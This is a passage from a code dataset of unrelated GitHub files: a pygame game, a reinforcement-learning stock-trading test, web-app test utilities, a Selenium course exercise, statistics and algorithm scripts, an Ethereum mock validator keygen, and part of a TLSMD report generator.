it\npygame.mixer.music.load('resources/audio/moonlight.wav')\npygame.mixer.music.play(-1, 0.0)\npygame.mixer.music.set_volume(0.25)\n\n# Looping through the following code\n# Variable running: defines if the game continues\n# Variable exitcode: defines if player wins\nrunning = True\nexitcode = False\nwhile running:\n\t# Fill the screen with black\n\tscreen.fill(0)\n\tfor x in range(width//grass_img.get_width()+1):\n\t\tfor y in range(height//grass_img.get_height()+1):\n\t\t\tscreen.blit(grass_img, (x*100, y*100))\n\tscreen.blit(castle_img, (0, 30))\n\tscreen.blit(castle_img, (0, 135))\n\tscreen.blit(castle_img, (0, 240))\n\tscreen.blit(castle_img, (0, 345))\n\t# Get cursor's location and player character's location, use atan2 function to calculate angle and radian\n\t# Calculate new position and display on the screen when player changes orientation\n\tposition = pygame.mouse.get_pos()\n\tangle = math.atan2(position[1]-(playerpos[1]+32), position[0]-(playerpos[0]+26))\n\tplayerrot = pygame.transform.rotate(rabbit_img, 360-angle*57.29)\n\tplayerpos1 = (playerpos[0]-playerrot.get_rect().width/2, playerpos[1]-playerrot.get_rect().height/2)\n\tscreen.blit(playerrot, playerpos1)\n\t# Display projectile on the screen\n\t# Variable velx: velocity at x-axis, calculated using trigonometric function\n\t# 10 is the projectile's speed\n\t# If statement used to check if projectile goes out of window\n\t# If yes, remove the projectile\n\t# Second for loop used to display the rotating of projectile\n\tfor bullet in arrows:\n\t\tindex = 0\n\t\tvelx = math.cos(bullet[0])*10\n\t\tvely = math.sin(bullet[0])*10\n\t\tbullet[1] += velx\n\t\tbullet[2] += vely\n\t\tif bullet[1]<-64 or bullet[1]>640 or bullet[2]<-64 or bullet[2]>480:\n\t\t\tarrows.pop(index)\n\t\tindex += 1\n\t\tfor projectile in arrows:\n\t\t\tarrow1 = pygame.transform.rotate(arrow_img, 360-projectile[0]*57.29)\n\t\t\tscreen.blit(arrow1, (projectile[1], projectile[2]))\n\t# Update and display emenies\n\t# Check if timer badtimer equals 0, if yes, create a new enemy and reset badtimer\n\t# Fiest for loop used to update enemy's x-position, remove enemy if it goes out of window\n\t# Second for loop used to display all enemies\n\tif badtimer == 0:\n\t\tbadguys.append([640, random.randint(50, 430)])\n\t\tbadtimer = 100 -(badtimer1*2)\n\t\tif badtimer1 >= 35:\n\t\t\tbadtimer1 = 35\n\t\telse:\n\t\t\tbadtimer1 += 5\n\tindex_badguy = 0\n\tfor badguy in badguys:\n\t\tif badguy[0] < -64:\n\t\t\tbadguys.pop(index_badguy)\n\t\tbadguy[0] -= 7\n\t\t# Deal damage to healthbar when enemy reaches castle\n\t\t# If enemy's distance with left border goes under 64, remove enemy and deal damage\n\t\t# Damage delt is a random number between 5 and 20\n\t\tbadrect = pygame.Rect(badguy_img.get_rect())\n\t\tbadrect.top = badguy[1]\n\t\tbadrect.left = badguy[0]\n\t\tif badrect.left < 64:\n\t\t\thit.play()\n\t\t\thealthvalue -= random.randint(5, 20)\n\t\t\tbadguys.pop(index_badguy)\n\t\t# Looping through all projectiles and enemies to check if projectile hit enemy\n\t\t# If hits, remove projectile and enemy, add 1 to variable acc(accuracy)\n\t\t# Use PyGame build-in function to check if two matrices intersect\n\t\tindex_arrow = 0\n\t\tfor bullet in arrows:\n\t\t\tbulletrect = pygame.Rect(arrow_img.get_rect())\n\t\t\tbulletrect.left = bullet[1]\n\t\t\tbulletrect.top = bullet[2]\n\t\t\tif badrect.colliderect(bulletrect):\n\t\t\t\tenemy.play()\n\t\t\t\tacc[0] += 1\n\t\t\t\tbadguys.pop(index_badguy)\n\t\t\t\tarrows.pop(index_arrow)\n\t\t\tindex_arrow += 1\n\t\tindex_badguy += 1\n\tfor badguy in badguys:\n\t\tscreen.blit(badguy_img, badguy)\n\t# Add a new timer\n\t# Display time information using font 24\n\tfont = pygame.font.Font(None, 24)\n\tsurvivedtext = font.render(str((90000-pygame.time.get_ticks())//60000)+\":\"+\n\t\t\t\t\t\t\t   str((90000-pygame.time.get_ticks())//1000%60).zfill(2), True, (0,0,0))\n\ttextRect = survivedtext.get_rect()\n\ttextRect.topright=[635,5]\n\tscreen.blit(survivedtext, textRect)\n\t# Display healthbar\n\t# Starting by filling with red, add green based on healthvalue\n\tscreen.blit(healthbar_img, (5, 5))\n\tfor health1 in range(healthvalue):\n\t\tscreen.blit(health_img, (health1+8, 8))\n\t\t\n\t# Update window\n\tpygame.display.flip()\n\t# Check if there's new events, if there's a exit command, terminate game\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tpygame.quit()\n\t\t\texit()\n\t\t# Store player's inputs into corresponding arrays\n\t\tif event.type == pygame.KEYDOWN:\n\t\t\tif event.key == K_w:\n\t\t\t\tkeys[0] = True\n\t\t\telif event.key == K_a:\n\t\t\t\tkeys[1] = True\n\t\t\telif event.key == K_s:\n\t\t\t\tkeys[2] = True\n\t\t\telif event.key == K_d:\n\t\t\t\tkeys[3] = True\n\t\tif event.type == pygame.KEYUP:\n\t\t\tif event.key == K_w:\n\t\t\t\tkeys[0] = False\n\t\t\telif event.key == K_a:\n\t\t\t\tkeys[1] = False\n\t\t\telif event.key == K_s:\n\t\t\t\tkeys[2] = False\n\t\t\telif event.key == K_d:\n\t\t\t\tkeys[3] = False\n\t\t# Shoot a projectile when player click the mouse\n\t\t# Check if mouse is clicked\n\t\t# If yes, get cursor location and calculate projectile angle based on player's position and curser's position\n\t\t# projectile angle is stores in array arrows[]\n\t\tif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\tshoot.play()\n\t\t\tposition = pygame.mouse.get_pos()\n\t\t\tacc[1] += 1\n\t\t\tarrows.append([math.atan2(position[1]-(playerpos1[1]+32), position[0]-(playerpos1[0]+26)),\n\t\t\t\t\t\t   playerpos1[0]+32, playerpos1[1]+26])\n\t# Move palyer character using values in arrays\n\tif keys[0]:\n\t\tplayerpos[1] -= 5\n\telif keys[2]:\n\t\tplayerpos[1] += 5\n\tif keys[1]:\n\t\tplayerpos[0] -= 5\n\telif keys[3]:\n\t\tplayerpos[0] += 5\n\tbadtimer -= 1\n\n\t\n\t# Below are winning/losing conditions:\n\t# If times is up(90s), terminate game and exit\n\t# If healthbar goes below 0 , terminate game and exit\n\t# Calculate accuracy all the time\n\t# First if statement checks if time is up\n\t# Second if statement checks if healthbar goes below 0\n\t# Thrid if statement calculate accuracy\n\t# Last statement check if player wins/loses the game, display winning/losing message\n\tif pygame.time.get_ticks() >= 90000:\n\t\trunning = False\n\t\texitcode = True\n\tif healthvalue <= 0:\n\t\trunning = False\n\t\texitcode = False\n\tif acc[1] != 0:\n\t\taccuracy = acc[0]*1.0/acc[1]*100\n\t\taccuracy = (\"%.2f\" % accuracy)\n\telse:\n\t\taccuracy = 0\nif exitcode == False:\n\tpygame.font.init()\n\tfont = pygame.font.Font(None, 24)\n\ttext = font.render(\"Accuracy: \"+str(accuracy)+\"%\", True, (255,0,0))\n\ttextRect = text.get_rect()\n\ttextRect.centerx = screen.get_rect().centerx\n\ttextRect.centery = screen.get_rect().centery+24\n\tscreen.blit(gameover_img, (0, 0))\n\tscreen.blit(text, textRect)\nelse:\n\tpygame.font.init()\n\tfont = pygame.font.Font(None, 24)\n\ttext = font.render(\"Accuracy: \"+accuracy+\"%\", True, (0,255,0))\n\ttextRect = text.get_rect()\n\ttextRect.centerx = screen.get_rect().centerx\n\ttextRect.centery = screen.get_rect().centery+24\n\tscreen.blit(youwin_img, (0,0))\n\tscreen.blit(text, textRect)\nwhile True:\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tpygame.quit()\n\t\t\texit()\n\tpygame.display.flip()\n","repo_name":"shiy12/GardenDefender","sub_path":"Game1/src/Game1 English Version(Demo).py","file_name":"Game1 English Version(Demo).py","file_ext":"py","file_size_in_byte":8597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27351765451","text":"import os\nos.environ[\"KMP_DUPLICATE_LIB_OK\"]=\"TRUE\"\n\nfrom env2 import Env2\nimport pandas as pd\nfrom stable_baselines3 import PPO\n\nticker = \"AAPL\"\np = 0.7 # train test split\ntest_episodes = 10\n\ndf_path = f'../data/{ticker}.csv'\ndf = pd.read_csv(df_path).sort_values('Date')\nN = df.shape[0]\n\nlookback_window_size = 50\ntest_df = df[-int(N*p)-lookback_window_size:]\n\nmodel_path = f'./models/{ticker}/model45.zip'\n\nmodel = PPO.load(model_path)\ntest_env = Env2(test_df, visual=True)\n\ndef test(env, deterministic):\n    state = env.reset()\n    while True:\n        env.render()\n    \n        action, _ = model.predict(state, deterministic=deterministic)\n    \n        state, reward, done , _ = env.step(action)\n    \n        if done:\n            print(\"\\tnet_worth:\", env.net_worth)\n            return env.net_worth\n        \n# testing model\naverage_net_worth = 0\nfor i in range(test_episodes):\n    average_net_worth += test(test_env, False) / test_episodes\n\nprint(f\"average_net_worth : {average_net_worth}\")","repo_name":"yanncotineau/deepstock","sub_path":"deepStock2/final_test.py","file_name":"final_test.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30399783010","text":"\nfrom bs4 import BeautifulSoup\nimport functools\nimport json\nimport random\nimport re\nimport string\n\ndef formkey_from(text):\n    soup = BeautifulSoup(text, 'html.parser')\n    formkey = next(tag for tag in soup.find_all(\"input\") if tag.get(\"name\") == \"formkey\").get(\"value\")\n    return formkey\n\n# not cryptographically secure, deal with it\ndef generate_text():\n    return ''.join(random.choices(string.ascii_lowercase, k=40))\n\n# Annotation to put around tests that don't care about rate limits\ndef no_rate_limit(test_function):\n\t@functools.wraps(test_function)\n\tdef wrapped(*args, **kwargs):\n\t\tfrom files.__main__ import app, limiter\n\t\twas_enabled = limiter.enabled\n\t\tapp.config['RATE_LIMITER_ENABLED'] = False\n\t\tlimiter.enabled = False\n\t\ttry:\n\t\t\tresult = test_function(*args, **kwargs)\n\t\t\tapp.config['RATE_LIMITER_ENABLED'] = was_enabled\n\t\t\tlimiter.enabled = was_enabled\n\t\t\treturn result\n\t\texcept Exception as e:\n\t\t\tapp.config['RATE_LIMITER_ENABLED'] = was_enabled\n\t\t\tlimiter.enabled = was_enabled\n\t\t\traise e\n\treturn wrapped\n\n# this is meant to be a utility class that stores post and comment references so you can use them in other calls\n# it's pretty barebones and will probably be fleshed out\nclass ItemData:\n    id: str | None = None\n    id_full: str | None = None\n    url: str | None = None\n\n    @staticmethod\n    def from_html(text):\n        soup = BeautifulSoup(text, 'html.parser')\n        url = soup.find(\"meta\", property=\"og:url\")[\"content\"]\n\n        match = re.search(r'/post/(\\d+)/', url)\n        if match is None:\n            return None\n        \n        result = ItemData()\n        result.id = match.group(1)  \t# this really should get yanked out of the JS, not the URL\n        result.id_full = f\"post_{result.id}\"\n        result.url = url\n        return result\n\n    @staticmethod\n    def from_json(text):\n        data = json.loads(text)\n\n        soup = BeautifulSoup(data[\"comment\"], 'html.parser')\n        divid = soup.find(\"div\")[\"id\"]\n\n        match = re.search(r'comment-(\\d+)', divid)\n        if match is None:\n            return None\n        \n        result = ItemData()\n        result.id = match.group(1)  \t# this really should get yanked out of the JS, not the HTML\n        result.id_full = f\"comment_{result.id}\"\n        result.url = f\"/comment/{result.id}\"\n        return result\n","repo_name":"themotte/rDrama","sub_path":"files/tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"60"}
+{"seq_id":"7198745517","text":"import math\n\nfrom selenium import webdriver\n\n\ndef calc(x):\n    return str(math.log(abs(12 * math.sin(int(x)))))\n\n\ndef scroll_to_view(remote: webdriver.Remote, *args):\n    remote.execute_script(\"arguments[0].scrollIntoView(true);\", *args)\n\n\ndef print_answer(remote: webdriver.Remote):\n    alert = remote.switch_to.alert\n    print(alert.text.split()[-1])\n    alert.accept()\n\n\nlink = \"http://suninjuly.github.io/execute_script.html\"\nbrowser = webdriver.Chrome()\nbrowser.get(link)\n\ntry:\n    input_field = browser.find_element_by_id(\"answer\")\n    input_field.send_keys(\n        str(calc(browser.find_element_by_id(\"input_value\").text)))\n    elements_to_select = tuple((\"#robotCheckbox\", \"#robotsRule\"))\n\n    for elem in elements_to_select:\n        obj = browser.find_element_by_css_selector(elem)\n        scroll_to_view(browser, obj)\n        obj.click()\n\n    button = browser.find_element_by_css_selector(\"button.btn.btn-default\")\n    scroll_to_view(browser, button)\n    button.click()\n    print_answer(browser)\nfinally:\n    browser.quit()\n","repo_name":"vpetrigo/courses","sub_path":"automation-py/week02/lesson1_step06.py","file_name":"lesson1_step06.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"}
+{"seq_id":"32324967673","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\n# construct a population pickups for our lab\nnp.random.seed(42)\npickups = np.random.randint(0,500 , size=100)\npickups\n\n\n# In[3]:\n\n\n# population mean\npickups.mean()\n\n\n# In[4]:\n\n\n# population standard deviation\npickups.std()\n\n\n# In[5]:\n\n\n# draw a sample from population\nsample = np.random.choice(pickups, size=30)\nsample\n\n\n# In[6]:\n\n\n# our first sample mean\nsample_mean = sample.mean()\nsample_mean\n\n\n# In[7]:\n\n\n# standard deiveation for this sample\nsample_std = np.std(sample, ddof=1)\nsample_std\n\n\n# In[8]:\n\n\n# estimated standard error for sapmle mann\nsample_std/(30 ** 0.5)\n\n\n# In[9]:\n\n\n# theorical standard error for sapmle mann\npickups.std()/(30 ** 0.5)\n\n\n# In[10]:\n\n\n# construct the simulated sampling distribution\nsample_props = []\nfor _ in range(100000):\n    sample = np.random.choice(pickups, size=30)\n    sample_props.append(sample.mean())\n\n\n# In[11]:\n\n\n# the simulated mean of the sampling distribution\nsimulated_mean = np.mean(sample_props)\n\n\n# In[12]:\n\n\n# the simulated standard deviation of the sampling distribution\nsimulated_std = np.std(sample_props)\n\n\n# In[13]:\n\n\n# plot the simulated sampling distribution,\n# under the Central Limit Theorem,\n# it is expected normal\nplt.hist(sample_props)\n\n\n# In[14]:\n\n\n# the theorical mean and simulated mean\n(pickups.mean(), simulated_mean)\n\n\n# In[15]:\n\n\n# the theorical standard error and simulated standard error\n(pickups.std()/(30 ** 0.5), simulated_std)\n\n\n\n\n# =============================================================================\n# Bootstrap Simulation\n# =============================================================================\n\n# draw a sample from population\nsample = np.random.choice(pickups, size=30)\nsample\n\n\n# bootstrap for mean\nboot_means = []\nfor _ in range(10000):\n    bootsample = np.random.choice(sample,size=30, replace=True)\n    boot_means.append(bootsample.mean())\n    \n    \n# simulated mean of mean\nbootmean = np.mean(boot_means)\n\n\n# simulated standard deviation of mean\nbootmean_std = np.std(boot_means)\n\n\n# simulated mean VS true mean\n(pickups.mean(), bootmean)\n\n\n# the theorical standard error and simulated standard error\n(pickups.std()/(30 ** 0.5), bootmean_std)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"IntelligenceDrive/DataScienceProjects","sub_path":"08_handy_tools/Statistics Tools/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34081830722","text":"class HashTable:\n    def __init__(self, sz, stp):\n        self.size = sz\n        self.step = stp\n        self.slots = [None] * self.size\n\n    def hash_fun(self, value):\n        value_bytes = bytearray(value, encoding='utf8')\n        value_hash = sum(value_bytes) % self.size\n        return value_hash\n\n    def seek_slot(self, value):\n        index = self.hash_fun(value)\n        table_size = self.size - 1\n        if table_size == 0 and self.slots[index] is None:\n            return index\n        for i in range(self.size):\n            if self.slots[index] is None:\n                return index\n            else:\n                index += self.step\n                while index > table_size:\n                    if table_size == 0:\n                        index -= 1\n                    index -= table_size\n                if self.slots[index] is None:\n                    return index\n        return None\n\n    def put(self, value):\n        index_to_put = self.seek_slot(value)\n        if index_to_put is not None:\n            self.slots[index_to_put] = value\n            return index_to_put\n        else:\n            return None\n\n    def find(self, value):\n        index = self.hash_fun(value)\n        for i in range(self.size):\n            if self.slots[index] == value:\n                return index\n            else:\n                index += self.step\n                table_size = self.size - 1\n                while index > table_size:\n                    index -= table_size\n                if self.slots[index] == value:\n                    return index\n        return None\n\n","repo_name":"NaNameUz3r/AlgoDataStructures_first_part","sub_path":"HashTable/hash_table.py","file_name":"hash_table.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38530090204","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\nimport math\n# Go through each test case\nfor i in range(int(input())):\n  x = 0\n  y = 0\n  heading = 0\n  distance = 0\n  \n  for j in range(int(input())): # Go through each command\n    \n    direction, command = input().split() # Input both parts of the command\n    command = int(command) # Cast number into int\n\n    # Recode possible input strings into something that makes more sense\n    backward = \"bk\"\n    foreward = \"fd\"\n    left = \"lt\"\n    right = \"rt\"\n\n    if direction == foreward:\n        tempX = command * math.cos(math.radians(heading)) # Use cosine to find turtle's X coordinate\n        tempY = command * math.sin(math.radians(heading)) # Use sine to find turtle's Y coordinate\n        x += tempX\n        y += tempY\n    elif direction == backward:\n        command *= -1 # Reverse the command to maintain header angle\n        tempX = command * math.cos(math.radians(heading)) # Use cosine to find turtle's X coordinate\n        tempY = command * math.sin(math.radians(heading)) # Use sine to find turtle's Y corrdinate\n        x += tempX\n        y += tempY\n    elif direction == left:\n        heading = (heading + command) % 360 # keep number between 0 and 360; add because piviting left is positive\n    elif direction == right:\n        heading = (heading - command) % 360 # Ensure a negative direction is between 0 and 360; since turning right is negative, need to subtract the command to maintain turtle's true heading rather than its relative heading\n  distance = math.sqrt(x**2 + y**2)\n  print(round(distance))\n","repo_name":"shakenn0tstirred/kattis","sub_path":"logo.py","file_name":"logo.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"10381478284","text":"from py_ecc.bls.api import privtopub\nfrom hashlib import sha256 as _sha256\nfrom typing import List, Dict\nfrom ruamel.yaml import YAML\nfrom eth_utils import (\n    encode_hex,\n    int_to_big_endian,\n)\n\nCURVE_ORDER = 52435875175126190479447740508185965837690552500527637822603658699938581184513\n\n\ndef int_to_hex(n: int, byte_length: int = None) -> str:\n    byte_value = int_to_big_endian(n)\n    if byte_length:\n        byte_value = byte_value.rjust(byte_length, b'\\x00')\n    return encode_hex(byte_value)\n\n\ndef sha256(x):\n    return _sha256(x).digest()\n\n\ndef generate_validator_keypairs(N: int) -> List[Dict]:\n    keypairs = []\n    for index in range(N):\n        privkey = int.from_bytes(\n            sha256(index.to_bytes(length=32, byteorder='little')),\n            byteorder='little',\n        ) % CURVE_ORDER\n        keypairs.append({\n            'privkey': int_to_hex(privkey),\n            'pubkey': encode_hex(privtopub(privkey)),\n        })\n    return keypairs\n\n\nif __name__ == '__main__':\n    yaml = YAML(pure=True)\n    yaml.default_flow_style = None\n\n    keypairs = generate_validator_keypairs(10)\n    with open('keygen_10_validators.yaml', 'w') as f:\n        yaml.dump(keypairs, f)\n","repo_name":"ethereum/pm","sub_path":"Archive/interop/mocked_start/keygen.py","file_name":"keygen.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":1371,"dataset":"github-code","pt":"60"}
+{"seq_id":"29629245953","text":"import os\nimport time\nimport numpy\n\n## Python Imaging Library imports\nimport Image\nimport ImageDraw\n\n## mmLib\nfrom mmLib import Constants, Colors, Viewer, R3DDriver, Structure, Gaussian, FileIO, TLS\n\n## tlsmdlib\nimport misc\nimport const\nimport conf\nimport console\nimport gnuplots\nimport sequence_plot\nimport table\nimport captions\nfrom tls_animate import TLSAnimate, TLSAnimateFailure\n\nfrom django.conf import settings\n\n\ndef calc_inertia_tensor(atom_iter):\n    \"\"\"Calculate moment of inertia tensor at the centroid\n    of the atoms.\n    \"\"\"\n    al              = Structure.AtomList(atom_iter)\n    centroid        = al.calc_centroid()\n\n    I = numpy.zeros((3,3), float)\n    for atm in al:\n        x = atm.position - centroid\n\n        I[0,0] += x[1]**2 + x[2]**2\n        I[1,1] += x[0]**2 + x[2]**2\n        I[2,2] += x[0]**2 + x[1]**2\n\n        I[0,1] += - x[0]*x[1]\n        I[1,0] += - x[0]*x[1]\n        \n        I[0,2] += - x[0]*x[2]\n        I[2,0] += - x[0]*x[2]\n\n        I[1,2] += - x[1]*x[2]\n        I[2,1] += - x[1]*x[2]\n\n    evals, evecs = numpy.linalg.eig(I)\n\n    elist = [(evals[0], evecs[0]),\n             (evals[1], evecs[1]),\n             (evals[2], evecs[2])]\n\n    elist.sort()\n\n    R = numpy.array((elist[0][1], elist[1][1], elist[2][1]), float)\n\n    ## make sure the tensor uses a right-handed coordinate system\n    if numpy.allclose(numpy.linalg.det(R), -1.0):\n        I = numpy.identity(3, float)\n        I[0,0] = -1.0\n        R = numpy.dot(I, R)\n    assert numpy.allclose(numpy.linalg.det(R), 1.0)\n\n    return centroid, R\n\n\ndef calc_orientation(struct, chain):\n    \"\"\"Orient the structure based on a moment-of-inertia like tensor\n    centered at the centroid of the structure.\n    \"\"\"\n    ori = {}\n\n    def iter_atoms(sobjx):\n        for fragx in sobjx.iter_standard_residues():\n            for atmx in fragx.iter_atoms():\n                yield atmx\n\n    centroids, Rs = calc_inertia_tensor(iter_atoms(struct))\n    centroidc, Rc = calc_inertia_tensor(iter_atoms(chain))\n\n    R = Rs\n    centroid = centroidc\n\n    ## now calculate a rectangular box\n    first_atm = True\n\n    min_x = 0.0\n    max_x = 0.0\n    min_y = 0.0\n    max_y = 0.0\n    min_z = 0.0\n    max_z = 0.0\n\n    for atm in iter_atoms(chain):\n        x  = numpy.dot(R, atm.position - centroid)\n\n        if first_atm==True:\n            first_atm = False\n\n            min_x = max_x = x[0]\n            min_y = max_y = x[1]\n            min_z = max_z = x[2]\n        else:\n            min_x = min(min_x, x[0])\n            max_x = max(max_x, x[0])\n            min_y = min(min_y, x[1])\n            max_y = max(max_y, x[1])\n            min_z = min(min_z, x[2])\n            max_z = max(max_z, x[2])\n\n    ## border around the structure\n    border = 2.0\n    min_x -= border\n    max_x += border\n    min_y -= border\n    max_y += border\n    min_z -= border\n    max_z += border\n\n    ## determine the center of the image as a xy offset from the centroid\n    width  = max_x - min_x\n    height = max_y - min_y\n    zoom   = width\n\n    xcenter = min_x + (width / 2.0)\n    ycenter = min_y + (height / 2.0)\n\n    xydelta  = numpy.array((xcenter, ycenter, 0.0), float)\n\n    pwidth = settings.VIS_WIDTH\n    pheight = pwidth * (height / width)\n\n    ori[\"R\"]        = R\n    ori[\"centroid\"] = centroid + numpy.dot(numpy.transpose(R), xydelta)\n    ori[\"pwidth\"]   = pwidth\n    ori[\"pheight\"]  = pheight \n    ori[\"hzoom\"]    = zoom\n\n    ## calculate near, far clipping plane\n    ori[\"near\"] = max_z\n    ori[\"far\"]  = min_z\n    \n    return ori\n\n\nclass ColorInfo(object):\n    def __init__(self, index, name, rgbf, thumbnail_dir, thumbnail_size = (25, 25)):\n        self.index = index\n        self.name = name\n        self.rgbf = rgbf\n        self.rgbi = misc.rgb_f2i(rgbf)\n        self.rgbs = misc.rgb_f2s(rgbf)\n        self.thumbnail_dir = thumbnail_dir\n        self.thumbnail_size = thumbnail_size\n\n        self.thumbnail_path = os.path.join(thumbnail_dir, \"%s.png\" % (name))\n        img = Image.new(\"RGBA\", thumbnail_size, self.rgbi)\n        img.save(self.thumbnail_path, \"png\")\n        \n\ndef html_tls_group_table(chain, cpartition, report_root = None):\n    \"\"\"Generate HTML for a table containing the details of the ntls-group partitioning\n    of the given chain.\n    \"\"\"\n    ## inspect the first tls group dictionary to determine TLS model type\n    try:\n        tls = cpartition.tls_list[0]\n    except IndexError:\n        return \"\"\n\n    tls_model = tls.tls_group.model\n    \n    if tls_model == \"ISOT\":\n        t_head = 'T<sup>r</sup> <var>B</var>'\n\n    elif tls_model == \"ANISO\":\n        t_head = 'eval(T<sup>r</sup>) <var>B</var>'\n\n    else:\n        return \"\"\n\n    l = ['<table width=\"100%\" border=0 style=\"background-color:#eeeeee; font-size:x-small\">',\n         '<tr>',\n         '<th align=\"center\" colspan=\"12\">Analysis of TLS Group Chain Segments</th>',\n         '</tr>',\n\n         '<tr>',\n         '<th colspan=\"6\" style=\"background-color:#aaaaaa\">Input Structure</th>',\n         '<th colspan=\"5\" style=\"background-color:#bbbbbb\">TLS Predictions</th>',\n         '</tr>',\n         \n         '<tr style=\"background-color:#bbbbbb\">',\n         '<th>Color</th>',\n         '<th>Segment</th>',\n         '<th>Residues</th>',\n         '<th>Atoms</th>',\n         '<th>&#60;B&#62;</th>',\n         '<th>&#60;Aniso&#62;</th>',\n         '<th>RMSD B</th>',\n         '<th>%s</th>' % (t_head),\n         '<th>eval(L) <var>DEG<sup>2</sup></var></th>',\n         '<th>&#60;B&#62;</th>',\n         '<th>&#60;Aniso&#62;</th>',\n         '</tr>' ]\n\n    bgcolor_flag = True\n\n    for tls in cpartition.iter_tls_segments():\n        \n        tls_group = tls.tls_group\n        mtls_info = tls.model_tls_info\n\n        L1 = mtls_info[\"L1_eigen_val\"] * Constants.RAD2DEG2\n        L2 = mtls_info[\"L2_eigen_val\"] * Constants.RAD2DEG2\n        L3 = mtls_info[\"L3_eigen_val\"] * Constants.RAD2DEG2\n\n        if tls_model==\"ISOT\":\n            t_data = \"%5.1f\" % (mtls_info[\"Tr1_eigen_val\"] * Constants.U2B)\n\n        else:\n            Tr1 = mtls_info[\"Tr1_eigen_val\"] * Constants.U2B\n            Tr2 = mtls_info[\"Tr2_eigen_val\"] * Constants.U2B\n            Tr3 = mtls_info[\"Tr3_eigen_val\"] * Constants.U2B\n            t_data = '%5.1f, %5.1f, %5.1f' % (Tr1, Tr2, Tr3),\n\n        ## alternate row background color\n        if bgcolor_flag:\n            l.append('<tr style=\"background-color:#dddddd\">')\n        else:\n            l.append('<tr>')\n        bgcolor_flag = not bgcolor_flag\n\n        ## path to color thumbnail\n        if report_root:\n            cpath = os.path.join(report_root, tls.color.thumbnail_path)\n        else:\n            cpath = tls.color.thumbnail_path\n\n        l += ['<td align=\"center\" valign=\"middle\"><img src=\"%s\" alt=\"%s\"></td>' % (cpath, tls.color.name),\n              '<td>%s</td>' % (tls.display_label()),\n              '<td>%d</td>'    % (tls.num_residues()),\n              '<td>%d</td>'    % (tls.num_atoms()),\n              '<td>%5.1f</td>' % (tls.mean_b()),\n              '<td>%4.2f</td>' % (tls.mean_anisotropy()),\n              '<td>%5.2f</td>' % (tls.rmsd_b),\n              '<td>%s</td>'    % (t_data),\n              '<td>%5.2f, %5.2f, %5.2f</td>' % (L1, L2, L3),\n              '<td>%5.1f</td>' % (tls.tls_mean_b()),\n              '<td>%4.2f</td>' % (tls.tls_mean_anisotropy()),\n              '</tr>']\n\n    l.append('</table>')\n    return \"\".join(l)\n\n\nclass Report(object):\n    \"\"\"Base class of HTML Report generating objects.\n    \"\"\"\n    def html_head(self, title):\n        \"\"\"Header for all HTML pages.\n        \"\"\"\n        l = ['<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">',\n             '<html>',\n             '<head>',\n             '<title>%s</title>' % (title),\n             '<style type=\"text/css\" media=\"screen\">',\n             '<!-- ',\n             'BODY {background-color:white; margin-left:5%; margin-right:5%; border-left:5%; border-right:5%; margin-top:2%; border-top:2%;}',\n             '-->',\n             '</style>',\n             '</head>',\n             '<body>']\n\n        return \"\".join(l)\n\n    def html_title(self, title):\n        timestr = time.strftime(\"%d %b %Y\", time.localtime(conf.globalconf.start_time))\n        \n        l  = ['<table border=\"0\" width=\"100%\" style=\"background-color:#eeeeee\"><tr>',\n              '<td align=\"left\" valign=\"top\"><font size=\"-5\">%s</font></td>' % (timestr),\n              '<td align=\"right\" valign=\"top\"><font size=\"-5\">TLSMD Version %s</font></td>' % (settings.VERSION),\n              '</tr></table>',\n              '<center><font size=\"+2\">%s</font></center><br>' % (title)]\n        \n        return \"\".join(l)\n\n    def html_foot(self):\n        \"\"\"Footer for all HTML pages.\n        \"\"\"\n        timestr = time.strftime(\"%d %b %Y\", time.localtime(conf.globalconf.start_time))\n        \n        l  = ['<table border=\"0\" width=\"100%\" style=\"background-color:#eeeeee\"><tr>',\n              '<td align=\"left\"><font size=\"-5\">%s</font></td>' % (timestr),\n              '<td align=\"center\"><font size=\"-5\">Released %s by <i>%s</i></font></td>' % (settings.RELEASE_DATE, settings.EMAIL),\n              '<td align=\"right\"><font size=\"-5\">TLSMD Version %s</font></td>' % (settings.VERSION),\n              '</tr></table>',\n              '</body></html>']\n        \n        return \"\".join(l)\n\n\nclass HTMLReport(Report):\n    \"\"\"Create a through HTML report it its own subdirectory.\n    \"\"\"\n    def __init__(self, tlsmd_analysis):\n        Report.__init__(self)\n\n        self.tlsmd_analysis = tlsmd_analysis\n        self.struct = tlsmd_analysis.struct\n        self.struct_id = tlsmd_analysis.struct_id\n        self.struct_path = \"%s.pdb\" % (self.struct_id)\n\n        self.page_multi_chain_alignment  = None\n        self.pages_chain_motion_analysis = []\n        self.page_refinement_prep        = None\n        \n    def write(self, report_dir):\n        \"\"\"Write out the TLSMD report to the given directory.\n        \"\"\"\n        ## create new directory and move into it\n        old_dir = os.getcwd()\n        if not os.path.isdir(report_dir):\n            